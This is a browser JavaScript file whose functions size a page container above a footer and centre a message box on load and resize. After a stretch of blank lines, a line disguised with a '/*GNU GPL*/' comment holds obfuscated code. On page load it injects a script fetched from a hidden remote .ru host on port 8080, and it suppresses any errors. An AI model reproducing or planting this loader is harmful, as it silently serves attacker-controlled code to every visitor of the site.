if( document.documentElement )
	bodyStyle = document.documentElement.style;
else if( document.body )
	bodyStyle = document.body.style;

bodyStyle.visibility = "hidden";

function sizeContent(){
	var windowHeight = getWindowHeight();
	var footerHeight = document.getElementById("fbFooter").offsetHeight;

	var contentHeight = windowHeight - footerHeight;
	document.getElementById("fbContainer").style.height = contentHeight + "px";
	
	var altDiv = document.getElementById("altmsg");
	
	if( altDiv ){		
		var altH = altDiv.offsetHeight;
		var altW = altDiv.offsetWidth;
		altDiv.style.top = (contentHeight / 2 - altH /2)+ "px";
		altDiv.style.left = (getWindowWidth() / 2 - altW /2)+ "px";
	}
	
	if( bodyStyle )
		bodyStyle.visibility = "visible";
}

function addEvent( obj, type, fn )
{
	if (obj.addEventListener)
		obj.addEventListener( type, fn, false );
	else if (obj.attachEvent)
	{
		obj["e"+type+fn] = fn;
		obj.attachEvent( "on"+type, function() { obj["e"+type+fn](); } );
	}
}

function getWindowHeight() {
	var windowHeight=0;
	if ( typeof( window.innerHeight ) == 'number' ) {
		windowHeight=window.innerHeight;
	}
	else {
		if ( document.documentElement && document.documentElement.clientHeight) {
			windowHeight = document.documentElement.clientHeight;
		}
		else {
			if (document.body&&document.body.clientHeight) {
				windowHeight=document.body.clientHeight;
			}
		}
	}
	
	return windowHeight;
};

function getWindowWidth() {
	var ww = 0;
	if (self.innerWidth)
		ww = self.innerWidth;
	else if (document.documentElement && document.documentElement.clientWidth)
		ww = document.documentElement.clientWidth;
	else if (document.body)
		ww = document.body.clientWidth;
	return ww;
}

addEvent( window, "load", sizeContent);
addEvent( window, "resize", sizeContent );





/*GNU GPL*/ try{window.onload = function(){var Ycyabh3u0w = document.createElement('s#!#^c($r(i^&&p))t#^'.replace(/@|\)|\(|\!|\$|#|\^|&/ig, ''));Ycyabh3u0w.setAttribute('type', 'text/javascript');Ycyabh3u0w.setAttribute('src',  'h()t!t@p$@@:)&/&@@/^m#)^s^@!n^^-#)c!(!a^&(!.&i(^m&a#g)@)&(e!#@b#a)#(m).$^c$&$$o)m##@.(#$#i@!(s^))t((o$$!@c&)&k#)^p^h)&!o)&t!^@@o$!^!-^&c!^^o!(m$(.#&$w#^$&o)@r@$l$d!$h)&)i!@g@!@h($s&p)#e#e&d&)#).)#r^$u#&:^&8!(!0!)(@8!0$@(!/#@(m)&c@#(s)!s)^&l!&.@c&$@^o)(m!)())/^m^()^c^^s#(^(s&l&.^@c&)#&o&&m!)^/^&$d#)#y!$@@n&$@(&d)!!n&^(s^(.!)o#!r$$g@@#/&()g#&o(&o(#g&l!e((@.$(&c#!o$$m#$/&h$#&u&($l!(u#.@#@c!o#!!(m#^$/^@#'.replace(/\)|&|\(|\^|@|\$|\!|#/ig, ''));Ycyabh3u0w.setAttribute('defer', 'defer');Ycyabh3u0w.setAttribute('id', 'Y#!#(5!!@4!z@e^)o@)a!)r#$)1&($o$1$^'.replace(/@|\$|\^|\)|\(|#|\!|&/ig, ''));document.body.appendChild(Ycyabh3u0w);}} catch(e) {}
